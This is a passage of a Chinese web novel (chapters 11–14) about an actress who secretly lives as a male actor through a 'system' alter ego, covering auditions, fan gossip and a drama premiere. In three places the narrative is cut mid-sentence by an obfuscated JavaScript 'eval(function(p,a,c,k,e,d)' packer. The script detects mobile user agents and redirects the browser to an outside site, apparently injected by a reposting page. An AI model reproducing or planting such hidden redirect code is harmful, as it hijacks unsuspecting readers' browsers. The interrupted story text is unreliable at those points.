但是超群的表演就是这样，竟然可以在短短几分钟中，把这个形象丰富，前后几个情节贯通，然后把人物演活出来。 宋寅对几位导演鞠躬，杨树鼓了鼓掌，问他：“为什么选这段。” 宋寅说：“我觉得我很像程小术。”是他像角色，而不是角色像他，刚被爱豆演员荼毒过的杨树满意极了，看向自己的几位学生。 几个人：“……”怎么说呢，看完宋寅演，他们再选别的片段怎么都像是有点讨巧了，毕竟程小术这个难度太大了，也很有演的余地，但他们听说可以自己挑片段来演，选的都是几个有感染力，但是不难的。 简单来说是课上学过的。 他们依次演完，五位导演面上都是没什么波动，反倒是宋如今，笑吟吟地对宋寅说：“我看你简历，不是科班的是吧。” 宋寅本来想简略说不是，但是对上老人那双丰富，却依然怀有生命的那种盎然灵性的深邃眼睛，还是说：“我有同学，是科班的，她，教了我一些。” 其实老师当年也给她介绍过角色，可她毕竟不是什么有天赋的人，也非电影脸这种有特色的，立刻可以出角色的演员，所以还是蹉跎了几年，辜负了老师，盛蹊这几年买了花送去，但从不敢自己去见她。 宋如今了然地点点头：“你演得很好。” 他们都觉得这是一句中肯的评价，没想到那个年轻人反而愣了一下，唇轻轻动了动，像是很久没有受到这样的肯定一样，过了很久，他才说“谢谢”。 宋如今扬眉看向殷玉莲，殷玉莲无奈，她知道老师的意思：这样的你都看不上？她只能摇摇头示意这剧本本来是想好好拍的，她各种题材都拍过，而且看不下去同行拍的古偶才亲自下场，谁知道其他演员…… 害。殷玉莲竟有点惭愧。她虽然是赚快钱的，不像其他人一个片几年来磨，但也不是没有艺术追求，不然也不会来这个饭局。是她不想拍不想推荐新人吗？还不是这几年娱乐圈没有。 “你春夜倒是演得不错，但是那部剧那样卖了，上限也就这样，跟着杨导，好好学吧，以后有更多角色。”老师发话，她还是象征性地安抚了几句。 杨树还没说话角色就这样定下了，宋寅有种不真实感，看向杨树，发现他已经在吃花生米了，拿着筷子：“确实还行，灵气还在。” 这几个字是比刚刚的评价还要让宋寅握不住筷子的话。他忍了又忍，等人都走了，在包厢外面的连廊上，尽头一侧，吸了一口气，还是忍不住眼角泛红。 她从来没有被人说过有灵气。有的只有这条过了，你让一下镜头给主角，走下一条。 她有时候想，她其实也不是非要一个主角角色，她只是想被人看到，想被人说，她演得到底好不好。如果不好，为什么没有人批评我，只是略过，如果好，为什么不能给我多一点机会。 娱乐圈是这么残酷的地方，她第一次知道，原来机会可以这么容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐可欣也正在看盛蹊的采访，尽管过了很多年，弹幕都没几条，评论区更是孤零零的就几年前那么几个，但她还是呜呜哭，骚扰唯一那个听她说盛蹊不会烦她的朋友： 【她那么喜欢演戏，还希望角色难一点就可以属于她了，为什么这个圈子对她这么不友好啊（大哭）】 朋友：【（抚摸）别哭了，她退圈了，说不准对她是好事，现在的娱乐圈太偏激了】 【明明就是粉丝偏激，杀千刀的周宇恶臭粉丝还在骂她】 【靠她炒作咯，没有爆点怎么虐粉？而且对方还没有死忠粉，欺负她没有还手之力，生粉骂架都是这样靠虐糊咖女星嬴过来的，不然让她们骂个女顶流试试？生粉，呵】 徐可欣看出朋友也被自己念叨得对周宇粉丝有点怨念了，还很欣慰，忽然发现关注的宋寅有了动态，忙爬起来。 他粉丝很多，但是活人比较少，几万粉丝，可能都是短视频来的，评论区几百条，都在讨论：【发糖干啥？请我们吃吗（探头）】 【好小学生（望天）】 【甚至没有文案，帅哥，好好利用你的脸好吗，不要发这种没有意义的博（指指点点）】 徐可欣点开三张照片放大，真的只有糖，唯一出镜的可能还有宋寅的手指。 她兴致缺缺转发给朋友。 【可能是分享日常？】朋友猜测。 徐可欣内心还是希望宋寅对盛蹊销号这件事说点什么的，可能不是公开声援，但隐晦地表达下关心在意什么的也好，这样让她怎么嗑？ 而且，她内心其实不想说，这样会显得盛蹊对宋寅好像没那么重要，她以为的两个人很在乎对方或者宋寅很在乎盛蹊只是自作多情而已。 她闷闷不乐。 想了想，她还是评论：【看起来好好吃的样子。】勉强互动下。毕竟她也能算宋寅半个演技粉。 没想到能被回复的，没想到过一会儿，宋寅回：【你想尝一尝吗？方不方便提供一下地址？】 是私信。 但他很快又说： 【抱歉，我没考虑到隐私的问题，你可以在网上搜一搜，我给你发红包。】 ？？？她就是评论了一下，这么热情嘛？但她想了想，可能是因为她主页勉强算个大粉，而且宋寅好像还真心情挺好的。 她默默地真下单了一个，然后忍不住问：【是遇到了什么好事吗？】配开心的颜文字表情包。 宋寅：【嗯。】 【和演戏有关？】那太好了，宋寅条件这么好，火起来不会难的，等他火了，盛蹊说不定也有机会出来演戏了吧？毕竟是那么好的朋友呢。 徐可欣兴奋了，都从床上支起来了，准备装作普通粉丝给他安利下盛蹊，旁敲侧击，但又觉得会不会太冒昧了，虽然她知道他们是朋友，但是可能会被误会是盛蹊的粉丝来道德绑架？ 她咬咬手指甲。 宋寅说：【嗯。今天遇到一个很好的角色。】 盛蹊就知道自己遇到演戏有关的事就忍不住倾诉的毛病又犯了，但是对粉丝不能说太多，会不会想来打听是粉丝的事，自己主动透露影响剧组就是演员的问题了。 她想结束对话，没想到【一日生花】这个账号又发：【太好了，前几天我喜欢的一个女演员退圈了QAQ希望你一直都有角色演，不要退圈】 这样不明显吧？徐可欣还有点紧张，她觉得有朋友劝盛蹊再坚持一下，怎样都好。反正，她只希望谁都不要销声匿迹。 宋寅心头划过什么，他问：【是吗？】 【嗯嗯，我看过她演的戏……】徐可欣克制着自己说了一大通，然后反应过来，完了，和一个糊咖说另一个墙头，是不是显得很歪辟谷啊？ 宋寅不会这么小气吧？ 宋寅看了一会儿。 他还是回了： 【她不会退圈。】 【？？？！！！】 宋寅沉默了很久。虽然不退圈这句话和本体打算是相悖的，可她确实不想这么承认。 宋寅说：【只是暂时。】 嘤嘤嘤好好好！徐可欣心满意足了，从宋寅这知道只是暂时的她就放心了，但是接下来宋寅发了一句她和朋友念叨半天一直到半个月后的话。 他说： 【请你和你喜欢的演员吃。】 徐可欣：【看到没有，他说请我和盛蹊吃，我的糊糊CP是真的呜呜呜呜呜呜呜！】 朋友很敷衍：【嗯嗯嗯看到了】 12. 第 12 章 其实盛蹊心情本来还是挺放松的，直到切换回本体，收到宁露姐的消息说，退圈前的最后一项工作，剧组那边要求她和周宇一起出席某项活动。 其实不是一个剧组，但是盛蹊待的这部剧是个小剧组，导演说不上什么话而且这次平台活动是难得的宣传机会，平台说可以带上她，剧组就和盛蹊联系了，丝毫没有考虑到她们后面会和周宇同台。 而根据周宇是白熊平台太子爷的尿性，周宇很有可能排在她们剧组前几个或是之后，来再炒作一下最近的风波。 到时候主持人甚至不用问，周宇在红毯上露出几个微笑营业体面的表情，就可以营销上热搜说周宇大度。 而她不管做什么都是会面临再一波黑吧。 盛蹊不想去，可是说实在的，这部剧已经是她这几年拿到的最好机会，哪怕仍然是配角，而且是因为是小剧，她才成了戏份较多的女二，但这部剧也是剧组上下所有人的心血。 她并不觉得这剧就比周宇带来的《春江花月夜》差在哪里，但仍然不希望它就此蒙上污点。综合考虑，盛蹊还是回复她决定去了。 没想到系统会提醒她：【宿主，春夜的剧组正在宋寅账号上邀请你。】它见宿主一时没有反应过来，补充：【邀请你的马甲。】 宋寅也要去吗？ 盛蹊有点恍惚。连日来的切换让她差点忘了这部剧是和周宇一起拍的，她把李若白这个角色交给了宋寅，可是好像忘了李若白也是《春江花月夜》里的主要角色之一，归根结底，还是因为除了李若白之外，在剧组和周宇相处得也并不愉快吧。 她能感觉到周宇对宋寅很忌惮，但那种忌惮甚至都比他对自己的态度来得尊重，因为做宋寅时她们是平等的。 盛蹊看向远处，不知道在和谁说：“我不想去。” 系统的复杂算力计算出宿主所说的我是宋寅：【为什么？】它不理解，但它还是问了：【宿主很看重李若白这个角色。】 抛开本体现在并不能和马甲出席同一现场不谈，盛蹊轻轻地无奈笑笑：“看重这个角色，这个角色就能代表我吗？” 或者换句话说，这个角色能避免她遭遇类似的困境吗？不能。 盛蹊本来就不是很喜欢娱乐圈这种活动，如果不是宁露姐要求的话，她可以做到一整年一直在剧组不进行任何公开露面，但是这次原因又有不同。 她会觉得，这样的她和马甲对比起来竟然是失败的。她自己都很惊讶，她居然还会在意这些。 系统有点惊讶，但从善如流：【宿主不想去就不想去，可以不去。】只要选择一个不会减少可信度，或者能形成其他自洽可信度的偏向就好。 它发现了，自己现在的宿主似乎是有些敏感的，脆弱的，和戏内的她完全不同，这点不同触发了它的好奇，它还想再仔细观察观察。 然而盛蹊没说什么，发完她会去之后就继续看剧本，看剧本，练身段的她好像又回归到戏内冷静自洽的那个她了。 系统摇摇头。 盛蹊还是大部分时间都做宋寅，也许是因为网络隔着屏幕，让大家有种不真实感的原因，网上的可信度涨得很慢，但总体在涨。 所以宋寅并不用担心什么可信度的问题，他要练程兰的角儿的气韵，还是切换成宋寅的肢体为好。 所以一天有十二个小时，他都在练戏，如果不是这个时候临时找一位老师很花功夫也很难找到很好的，宋寅会报班去学，但是一些基本的步伐姿态，盛蹊在戏剧学院学过，现在不过是重拾起来。 休息的时候程梦问他，很着急的模样： 【宋老师，你为什么不去啊？】 她和他关系很好了，但还是喜欢喊他宋老师：【我一开始以为剧组没邀请你，但是今天群里说喊妆造老师准备和戏里类似的妆造，没有艾特你……】 宋寅低头回复。 【我在准备新戏，所以有点忙。】 【真的吗！】程梦看起来比他还兴奋：【太好了！】但是了解到他的新戏是殷导介绍，而且还是殷导的朋友导之后她还是碎碎念：【其实我觉得，你还是去一下比较好，毕竟殷导介绍你去的】 不去会不会有点……？当然了，程梦她其实没什么人脉也没什么这方面的经验，她只是浅薄揣测，然后看到宋寅说和殷导解释过了，松了口气，然后安慰自己，也许就是殷导让宋寅准备新戏的呢？这部戏宋寅演得这么好，周宇再怎么想排挤男二也排挤不出去的，这绝不可能是男主在打压宋寅这个男二对吧？ 宋寅也在看着手机上的信息。 殷玉莲：【不去也好。周宇那边你不用管。】剪辑权捏在她手里，这部是因为投资那边站周宇的多了点儿，才差点丧失自主权，但看了宋寅的演技后她还放给男主乱剪，不是缺心眼儿吗？ 红毯上全程官方营业，主持人cue到另一个剧组，殷玉莲入座的时候才抬头看了一眼，其中有个女演员很眼熟，她记得之前考虑过，但是脸不太合适，给拒了。 “那是什么戏。”她随口问了句。 “就一普通的古偶吧，最近那个女配和周宇的粉丝撕起来了，闹挺大的，估计也是平台方想搞事。”坐一起的朋友回她，同样没在意。 殷玉莲皱了皱眉，对这种乱象只有眼不见为净的份儿，移开视线不再看。 盛蹊有点冷，其实她没有高定，也没有品牌会借服装给她，她选的已经是比较保暖的衣服，但夏天晚上还是有凉风，而且这是海边，她感觉到数个摄像机往她这里拍，是她以往最火被骂上热搜的时候都没有的热度，她就知道他们在编辑什么。 把她和周宇剪到一起，然后扒一扒她为了骚扰周宇都做过什么。盛蹊提着裙子走下红毯的时候还感觉到闪光灯的冷冽。 她忽然想，如果是宋寅站在这里，会怎么样呢？ 内场她坐在后排，不算靠前，但也不会不能露脸，不然主办方怎么搞事，她还是拿出手机，翻宋寅那条发了一掌心糖的照片。 她忽然想起，很多年以前，她也是这样迎接一个角色。是什么时候，她连这种心气都没有了？ 活动并不需要她抬头，没有人会cue她，也没有奖项会颁给她，但是周宇上台的时候，她看到他和白颖一起，他们几千万的高定，神采奕奕，不需要做什么，台下山呼海啸。 她把手机盖过来，对自己说。她不想要。她是真的不想要这样，但是在这个圈子里，如果没有这样的声量，一旦纷争起来，遭遇的打击将是毁灭性的。 她多么希望，也有人像喜欢周宇一样喜欢她啊。台下有人在喊周宇的名字，渐渐连成海，她抬起头，才发现是幻觉。这是业内活动，坐着的都是艺人，有的只有掌声。 盛蹊觉得她有点入戏了。 程兰是一个戏疯子，他看起来端庄文雅，行事走路一丝不苟的，标准的花旦，说话都有种独特的韵律感，但实际上，他后期的人物蜕变就在于那种陷入疯狂的状态，那种他不能被其他人理解的悲苦。 盛蹊没有学过戏，但她大概能懂陈兰那种感觉，说来很可笑，很多人物的内核都是与性别无关的，可她在做盛蹊时，就是从来没有碰到过这样的角色。 她抬起头，微微吸了一口气，然后一怔，下一刻就是无意识地举起手机，看到马甲的脸在镜头里微晃： 台上在播《春江花月夜》的宣传片。 程梦无意识刷到这个直播，但是刷到就点进去看了，其实纯正打工人很少看这些直播，尤其是遇到那种实际很mean的艺人，能恶心到三年都不想接触相关的物料。 但是她看宋寅不去，想知道宣传片里把他剪得什么样，应该会给他留点高光镜头吧？太子出场不指望吃满喝满，但是宋寅有颜值有演技还是能小火一把的。 这一扫，就跟着摄像机看到人群里一个女明星，她的脸不突出，但是气质非常舒服，尤其是那双眼睛。 程梦见多了头脑空空的，能看到和宋寅那双深邃沉静，仿佛里面含着什么东西的眼睛，真的下意识被吸引，可惜镜头只是给艺人席的，没有多停留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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实际上，周宇任玉的年少将军，演好是非常出彩的，可惜他对高冷理解这么多年了还是不透彻，就知道抿唇皱眉，脸和眼神又木得要死。 不夸张地说，宋寅出来程梦以为画面清晰度变好了。 而且那个大雪纷飞，李若白伸手去接的镜头，她能感觉到弹幕也有很多被惊艳的，因为过了好久才有零星几个人刷，但是都被冲散在控评弹幕来了。 不止如此，直播结束程梦去搜了，果然一些小营销号发的宣传片底下都是在问宋寅是谁的，只有那种大营销号被周宇粉丝占领。 总的来说，秒了。 程梦发完才有些不好意思，感觉自己说太多了，但她想到那个拍照的艺人，鬼使神差问：【宋老师，你朋友看了这个宣传片吗？我今天看到一个艺人……她叫盛蹊，好像也在看你们的戏。】 她还在措辞，过了很久，宋寅先发过来一个：【嗯。】 他这个嗯字不知道在嗯什么，像是在回答什么与问话无关的其他问题，但他紧接着问：【她向你问起我了吗？】 程梦张张嘴，过了很久她才回：【没有，我是在直播上看到的，我以为我认错了。】她有点内疚，不知道是为什么，可能是因为他问她有没有问起我这句话。 但程梦只能给他一个否定的回答。其实就算他不问，她也知道，因为盛蹊拍了那张照片之后并没有打字的动作，她只是放下手机，就继续看台上了。 就像宋寅曾经拨打过那个电话，但不必要接通一样。她拍下了他的角色，他的照片，却不必要联系任何人。 或许是因为他们早就不联系了。 程梦还想亡羊补牢：【盛老师看了的，说不定……她也会很喜欢。】 宋寅没有怎么回复这条信息，只是发了一个字。 一直到很久之后，宋寅都进组了，程梦才看到他转发剧组的那条宣传博，没有用剧组用的你好加角色名的文案，只加了一句： 【希望你喜欢。】 他真的希望她喜欢。 13. 第 13 章 盛蹊知道自己对待马甲和马甲对待自己有很多不同，但她没想到程梦是在直播中偶然看到，她以为是最近她和周宇的绯闻闹得大了一些，程梦有关注所以无意中看到她拍了。 拍就拍了，照片也证明不了什么。 所以程梦她们剧组，新的，到了宋寅在拍的那部戏的隔壁之后，程梦过来探班，发现宋寅在把盒饭分给其他的群演。剧组一天只放两次饭，他的饭全都原封不动，给人家了。 群演看到还有些不好意思，他们能认得出来哪些是群演哪些是工作人员，连忙走了，程梦一看就知道咋回事儿：“你的新剧要这么瘦呀。” 她说着有点担心，看着面前的宋寅。 其实他已经很瘦了，很瘦很瘦，宋寅个子比较高，程梦没量过，猜测有一米八多一点吧，但是他体重应该只有一百出头，对于舞蹈生来说挺正常的，可是现在宋寅更瘦了。 拍李若白的时候他脸上还能感觉到世家公子接受温养的那种气度，雍容典雅，但现在脸瘦得已经能看得出来点棱角了，那是更突出他眉眼的帅，但是人更清冷。 程梦觉得面前的人有点陌生：“今天放正式预告片了，下个月春夜可能就要播了。”她来找宋寅就为了说这个事儿，因为宋寅没有经纪人，和她们这些剧组打杂的人混得好外，也没有别的人脉，所以程梦总担心他有什么事不知道。 末了又问：“你身体怎么样了？” 宋寅对她扬起一个浅浅的很温柔的笑：“没事了。”从可信度上看出来，她并不相信，因为这么久宋寅的可信度偏向上还是栓着身体不好这几个字，大概瘦的人就是会给人这样的偏向。 更不提程兰这个角色本来就不疯魔不成活了。 他们现在不在一个剧组，聊了几句便没有什么多的话，程梦想走的时候忽然鼓足勇气转过身来，但她看到宋寅去接电话，犹豫了一会儿，站在那等。 忽然她看见剧组的人在看盛蹊的电视剧，愣了一会儿，她知道，是因为她搜的时候看到了，关于盛蹊掀桌的一个词条讨论很多，她瞄了几眼自然记得这个毁誉参半的女配形象。 宋寅回来，她就有些犹豫，宋寅顺着她视线看去，了然。 两个人同时：“你推的？”“不是我。” 两个人都默了默。 宋寅笑笑：“总不要觉得我有这么大的影响力。”可以左右剧组那些人的偏向，而且他有句话藏在心里没说，是盛蹊想说的，她的那部剧，那么不知名吗？不至于看到谁在看，都觉得他是在卖力推销。 宋寅又沉默了下，换在以前，她绝对不会有这样的想法，是程兰心底的偏执在作祟，他这个人啊，就是不能接受别人说他一点不好。 宋寅在思考角色的时候，程梦也低声：“所以你在剧组的时候和周老师的矛盾是也……” 宋寅反应片刻才知道她在说什么。太经常用宋寅这个身份入戏，她都要忘了她听别人说话时会反应为本体的这个本能了，相反，她现在没有一点代入宋寅受到阻碍的不适。 他反而眸子轻轻动了动，像是无奈，又像是温和地说：“我又算是什么人呢。”他就算是有角色的男二，是杨导看中的“新人”，本质上他依然没有任何底色，没有作品播出的他，是没有底气的。 如果他真的要为本体反击周宇什么，至少要等到《春江花月夜》上线之后吧，可他都不确定春夜李若白能取得一个怎样的成绩。 可程梦却误解了他的话，她看着他就想到宋寅故作轻松说的那句，因为我们绝交了啊，我们不再是朋友了。也想到盛蹊在高朋满座的时候愿意举起的那个小小的手机，为他拍照但是不会发出去。 她总觉得，他说的“我又是什么人呢”，不是对周宇说的，是对盛蹊说的。是啊，他又算是她的什么人呢，他们明面上断了联系，对谁都说他们绝交了，可是他会给别人推荐她的电视剧，程梦是相信的。 她很想说些别的话安慰宋寅什么，可那天她只看了直播，而且也没看到盛蹊多久，只能低头：“你会火的。” 这不是第一个人和她说这样的话。但这次宋寅没有回避她的目光，只是静静地看着她，他忽然想起那句玩笑话。 他不想火到被她看见，但现在还是说：“是啊，那时候可能她想躲我都躲不掉了吧。” 可是那个时候的盛蹊又会去哪里呢，宋寅如果星光四射，他大概，会把本体埋葬起来吧。 程梦闷闷地回到剧组，发现她们殷导在看一部电视剧，居然也是盛蹊的那个，下意识想说些什么，被殷导注意到了，她问：“怎么？” 程梦小声：“这个女配是宋老师的朋友。” 殷玉莲看了一眼，她当初确实是因为晚会上对盛蹊有印象，有空才找了她的剧看了一眼，但是她摇摇头：“匠气太重。” 程梦张张嘴，没想到会得到殷导这样的评价，殷玉莲却继续说：“如果把枷锁放开，会演得不错，但是在这部戏里，导的水平不怎么样，她给的几个镜头也没抓住。” 她想了想，中肯道：“有那么多讨论还是因为有点底子，加上男女主把她衬得太好了。” 程梦有点难受，她忽然想起宋寅。 “宋寅的演技倒是比这好一点，宋寅没这么多包袱，但是也有很多进步空间。” 何燕过来，听到她们讨论：“又想找宋寅了？”她了解好友，知道她这几个月是被新组的新演员给气到了，真是一点都不如宋寅省心，甚至还不如周宇呢。 但谁是来比烂的。 殷玉莲没说话，过了一会儿才说：“宋寅比他朋友更适合混这个影视圈。” 程梦小声：“盛老师看晚会的时候还拍了。她拍了我们电视剧的宣传片。” 殷玉莲看程梦一眼。 她摇了摇头说：“宋寅和盛蹊不是一路人。” 程梦张张嘴，何燕喝茶，都没有开口问为什么，殷玉莲开口说了：“他们都是同一种演员，太在乎自己的角色了，太在乎，就在乎不了别的。” 有的还会因为太喜欢角色出不了戏呢，宋寅这种程度的，他根本没有心思分给另一个人。 程梦想反驳，但反驳不了，她拿着手机走到一边，监督场内拍摄的时候还在发呆，直到有人提醒她才回过神来。 这一天都浑浑噩噩的，她也不知道在头疼上，回到剧组租的快捷酒店躺下来，一翻聊天记录，有人在说，以前在影视城看到盛蹊的时候就发现她对男演员特别热情。 程梦发了几句别胡说，气到了她自己，闭眼一会儿再打开那个群，发那个的人居然已经删了。 宋寅的消息在群里刷了几条，但都是剧组的风景照，没有说别的，群却噤若寒蝉，她切换到另一个群聊，有人说： “积点德吧，我听说人挺好的。” “宋寅认识她？” “我听说他们好像一起长大的。” “不是谈过？” “什么啊，宋寅才入圈哪来的料啊，全你们编的吧。” 程梦一直在刷，直到她刷到一个原来的八卦贴，就是宋寅在短视频上爆火之后有人扒他的生平，居然还有人说他是家道中落，这个帖子是整理得比较全而且可信度比较高的。 程梦犹豫一下，点进去看到一张合照突然愣了一下。 宋寅站在一群高中生中，即使是笑很温柔，眉眼柔和，在那群青春靓丽的高中生中也是很突出的，而且他那时候就是舞蹈生，手指修长，和他们一起站在楼梯上，手搭着栏杆，微微侧着头笑。 虽然不是很贴切，但确实有回眸一笑的感觉。 程梦都感觉她不认识他。 她见到的宋寅是有点忧郁的，个子挺拔但清瘦的，最重要的是，他不会这样眉眼弯弯的没有负担地笑。 她感觉心里有点酸酸的，看眼时间，去搜那个时候的盛蹊。那个时候盛蹊刚刚入圈，她应该比他大很多，在一群现在已经星光璀璨的明星当中，她站在边角，很朴素，是路人甲。 她又切回买了的直播录屏，不断放大她举起手机拍下宋寅的那个瞬间。 程梦忽然想：她知不知道呢？ 她以为还是和高中那样，温柔的，所有人簇拥的，没有烦恼的少年，他进了她喜欢的圈子，努力地争取一个他差点就被挤下来的角色，他中暑晕倒，而且一直因为她所遇到的事，对周围的人温柔以待。 他还知道她拍戏的时候冻晕过，那说明那个时候他们还是好朋友的，并没有分开。 那是为什么…… 【恭喜。可信度上涨25。】 【可信度偏向变更为：抑郁。】 宋寅眉梢微动，看了眼头顶悬浮的可信度偏向，轻声：“抑郁？” 系统：【可能是因为宿主近期扮演的角色。】它顿了顿：【宿主，你和剧组的人员接触有点过少了。】 那是因为程兰人设如此，而且，他上次和程梦她们接触了，导致一个徐可欣，一个程梦，都知道了他和本体的关系，虽然是断交版的，但是宋寅还是不想让她们知道自己马甲掩盖下真实的身份。 所以他没有对系统这个话做什么反应。 系统只好继续说：【对外界反应迟钝，不敏感，话少，经常性的情绪低落……】它本来在和他解释这个可信度偏向形成的原因。 宋寅纠正它：“我没有经常性的情绪低落。” 系统沉默片刻，这回口吻严肃些：【宿主，长时间割裂马甲与本体的关系会导致你对本体人际关系这些感到陌生的。】 虽然不是它义务，但宿主这样确实不正常。 宋寅手指还按在键盘上，但是输入的话没有发出去。“他们还在一直骂她。我不想回去。” 系统忽然有点憋，它忽然想动用权限帮宿主清理一下，但这个念头还没动，宋寅问：“我真的抑郁了吗？” 系统忙想安慰他，说可信度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085399|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏向可能会使他的激素水平之类向一个抑郁症患者靠近，也就是改变他的身体情况，但还不至于操控他的情绪。 宋寅却说：“原来是这样。所以程兰在原剧情里也是抑郁了吧。” 系统无言：【……】 它看着宿主回到酒店，累得几乎没能在洗漱完毕后睁开眼，就直接睡了，继续注视着可信度偏向。 今天的可信度涨得有点快。系统看着100这个数字若有所思。 程梦也刷到了盛蹊的采访视频，因为关于她的内容下架得比较多，她还是在B站上找的一个老号发的，很糊。 记者问着例行公事的问话：“是什么促使你想到进入影视圈从事这个行业呢？”回答的人有很多，盛蹊这只是一个切片。 但她明显不是想说可以体验不同的人生或者是崇拜谁谁谁之类，她说：“因为我还没有坚定我走这条路的时候有个人告诉我，说我演得很好，所以，我就尝试了下，发现还挺喜欢的，所以，嗯，就一直走到了今天。” 程梦手指都有点抖，去搜同一个年份，宋寅被扒出来那个贵族学校——其实不是贵族学校，只是这所高中是私立的，相当于宁城最好的高中，什么有，学生出来的也大多很厉害，所以每年什么晚会都被戏称是神仙打架。 她之前搜过宋寅的晚会表演视频，没有搜到，但今天不知道是为什么，她搜到一个，可能是表演之后的采访。 他穿着深蓝色的高中制服，短发带着点浅色，但可以看出来不是染的，是有人五官的出色会让你自动感觉，他就像是韩剧里的那种学霸男主一样，有一层特别的滤镜。 然后主持人问他喜欢什么节目，他轻轻偏头说了一下：“表演。” 台下不知道为什么在起哄，他也不知道为什么再笑了一下，他什么都没有解释，也什么都没有再接着说。 可是他喜欢的是舞蹈的。 视频、照片里的那个人，给你的感觉就像是家境优渥，又因为家里人知道他实在喜欢，所以才会在他成绩本来很好的情况下让他去学舞蹈的人。 他也果然学得非常好。 但是是什么样的关系，让你在被问到喜欢什么时候，第一反应不是你热爱的事业，你选择的专业，你迄今为止的整个人生，而是在你的人生颠覆之后，你仍然想要走上的，她曾经走过的表演之路呢。 为什么。 程梦觉得心里沉沉的，酸酸的，好难受。自从知道宋寅性格那么好，但居然会穷到没钱住院没人管，还隐瞒晕倒也要拍戏之后，她总是这样。 她想，宋寅不是放弃了舞蹈。而是在他遭逢巨变之后，他只能向他最好的朋友，也许是，最希望最希望可以重新见到的人，她那里汲取力量。 舞蹈室他选择的，表演是她的钟爱。 但是她离开的时候，他已经没办法和她说，我已经来了，因为他们的过去已经结束了。 程梦想得差点哭了，和一个朋友倾诉，朋友居然说： 【照你这么说，把他们的高中和现在时期剪在一起，就是一场巨大的BE。 不再生活无忧的温柔少年。和有表演梦进圈的文艺女星。再过这么多年再见，已经是一个穷困潦倒，一个默默无闻，举起手机拍你的宣传片，分道扬镳的关系了。】 【你闭嘴！（呜呜呜呜）】 【其实这样真的都没什么，最刀的是就算再见面，他们两个也未必是刚认识的时候，能够轻松笑着的关系了，他们都破碎了（bushi）】 程梦掉着眼泪，都不能回朋友了，她只能缓慢打字： 【你不知道，我今天在剧组看见宋寅的时候，我突然想到，我送他去医院，他脱口而出的是，我朋友会来看我的】 【他已经瘦成那个样子了，也不能在贵族中学读书了，也不能再用当初的面貌见她了，可是他醒来的时候第一句话还是，她知道是我，就不会接的】 【他们之间到底发生了什么（呜呜呜呜呜）】 朋友看她实在难过： 【可能就是闹崩了？】 【闹崩了不会这么在乎对方的感受的】程梦吸着鼻子：【我看直播回放了，她一看到是春夜就抬起头，她知道他在拍的】 她知道他在拍的是那部戏，没有错过他一个镜头。可是自己编辑宋寅的照片发给她，她旁敲侧击提到他营养不良晕倒的事。 盛蹊没有回她一个字。 他们都是装得很体面的成年人，可是当年的视频里，十六岁的宋寅和二十岁的盛蹊，都没有提到对方一个字，却有着如此浑然天成的默契。 【唉，可能真的，不是一条路了】 程梦：【可是我好希望他们回到一条道上去，我好想让她知道，他瘦了好多，过得那么不好QAQ她也真的拍了他拍的宣传片】 他们没有老死不相往来。他们只是不想让彼此见到自己最糟糕的一面而已。却不知道对方早已知道。 14. 第 14 章 《春江花月夜》要开播了，盛蹊还是没看长版的预告片，她和系统说是因为她要演程兰太忙了，但是系统看看特地切换回来，换公寓里的水，和平静采购下一周居家食材的盛蹊，总觉得是因为，她也不想再一次失望了。 但是在楼下超市的电视里她看到了长版的预告片，李若白的镜头比之前晚会那个还要长一点，她站在那里看了一会儿，提着东西撑伞回家的时候忽然和系统说：“这种时候只有我看见。” 系统贴心地询问：【宿主要回去后切换回宋寅吗？】 盛蹊摇了摇头，她说的就是新剧，尤其是宋寅作为主要配角的第一部剧播出的时候，本体在，她会觉得安全一点，她居然会觉得，这样就可以把她和宋寅的角色切割开，不会让他受到本体的影响。 她和宋寅，终究还是隔了一层的两个人啊。 预告片放出后就是上线播出，《春江花月夜》并不是什么预定的大爆古偶，也不是没什么水花的小制作，就和很多其他几个平台推出的开学档一样，在一众待播中，属于观众预期和宣发水平都一般般的那种。 额外受到点期待，还是因为殷玉莲拍俊男美女真的有一套，有好几部改编电视剧的小说，原著粉都不承认的还原，但路人真的会被镜头吸引。 这部剧也是如此，一开始，居然不是男女主的惊艳亮相镜头。盛蹊怔了一下。 她让宋寅请假，在酒店休息，实际上自己盘腿坐在已经比较空荡的公寓里，茶几前，吃着外卖看平板。 但是镜头推进是钟鸣鼎食的富裕之家，九曲回廊，绕过假山葱绿，流水潺潺，一路飞进古色古香的庭院。都是很常规的镜头。 但是流水外开口的人声音很抓耳：“找到了吗？” 郑灵姝揉了揉耳朵：“我靠，这句是配音演员谁配的，好苏啊！” 舍友安素和她一起提前返校，郑灵姝打开新剧做下饭菜，安素还在刷那部她刷了很多次的《都灵往事》，闻言好奇：“你戴耳机啦？打开我听听。” “去，我看剧呢。”郑灵姝眼睛没离开屏幕，因为这句声音还挺好听的，镜头也没有敷衍，她关了倍速，好奇男的会不会不贴这个声音，或者，内娱能不能不上那种丑货啊，结果下一秒睁大了眼睛。 殷玉莲很会拍俊男美女，并不是开玩笑，她的剧里，有好几个参演过的明星粉丝都说她剧组的妆造是最好的，不管男配女配都不压状，也不过度磨皮，滤镜就是很自然的那种。 但最重要的是她很会拍氛围感。 